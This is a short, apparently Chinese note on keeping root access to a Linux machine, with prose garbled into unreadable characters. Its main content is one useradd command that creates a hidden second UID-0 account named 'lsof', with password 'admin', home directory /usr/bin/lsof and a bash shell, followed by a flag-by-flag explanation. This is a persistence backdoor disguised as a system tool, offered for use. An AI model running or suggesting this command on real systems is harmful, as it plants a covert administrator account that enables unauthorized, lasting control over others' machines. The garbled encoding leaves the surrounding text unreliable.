һlinux rootȨ˺
Ȩ˻ԣͲŪһroot˻useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof
useradd û
-p `openssl passwd -1 -salt 'lsof' admin` ָû룬lsofԿ֮ģд admin
-u 0 -o һuidΪ 0û root
-g root -G root ûӵroot
-s /bin/bash ָ½ûshell·
-d /usr/bin/lsof ½ûĿ¼Լ
lsof ½ûû
ҳ:
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